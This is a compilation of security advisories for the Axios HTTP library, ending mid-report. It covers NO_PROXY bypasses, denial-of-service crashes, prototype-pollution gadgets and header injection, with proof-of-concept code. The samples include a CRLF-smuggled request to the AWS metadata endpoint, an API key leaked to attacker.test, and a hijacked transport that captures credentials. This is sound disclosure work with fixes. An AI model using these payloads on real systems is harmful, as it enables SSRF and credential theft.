Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost. However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"__proto__": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Axios vulnerable to Server-Side Request Forgery

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

### PoC

Environment:

• Axios main at commit f7a4ee2
• Node v24.2.0

Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0

Observed: - Request succeeds; server reports received: 2097152.

Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBAD_REQUEST.

### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

Summary

toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details

lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC

import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact

A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Axios: Header Injection via Prototype Pollution

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js 
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete', 
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);

Impact

• Authentication Bypass (CVSS: C:H)
• Session Fixation (CVSS: I:H)
• Privilege Escalation (CVSS: C:H, I:H)
• IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
-     headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+     headers.set(data.getHeaders());

axios Inefficient Regular Expression Complexity vulnerability

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific Gadget attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of Helper Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic: ```http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy

PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1 ... ```

4. The Impact (IMDSv2 Bypass)

The Smuggled second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

• Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
• Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
• Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion: javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header });

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

1. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

1. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Axios: no_proxy bypass via IP alias allows SSRF

The fix for noproxy hostname normalization bypass (#10661) is incomplete.When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - noproxy=localhost does NOT block 127.0.0.1 or [::1] - noproxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.noproxy = 'localhost'; process.env.httpproxy = 'http://attacker-proxy:8888';

```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';

console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
  await axios.get('http://localhost:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
  await axios.get('http://127.0.0.1:7777/');
} catch(e) {
  console.log('Error:', e.message);
}

fakeProxy.close();
internalServer.close();

}); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ```

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios._request in lib/core/Axios.js#L76:

config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (server_gadget1.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url);
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});

server.listen(19003, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19003');
});

$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /

Terminal 2 -- client (poc_parsereviver.mjs):

import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

if (config.transport) {
  transport = config.transport;
}

transport is listed in mergeMap inside mergeConfig (line 88):

transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

• options.hostname, options.port, options.path -- full target URL
• options.auth -- basic auth credentials in "username:password" form (set at line 606)
• options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (server_gadget2.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"ok":true}');
});

server.listen(19002, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19002');
});

$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poc_transport.mjs):

import axios from 'axios';
import http from 'http';

Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

• axios: 1.13.6
• Node.js: 22.22.0
• OS: macOS 14
• Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

• Axios version: 1.15.0 (latest patched release)
• Node.js version: v22.16.0
• OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
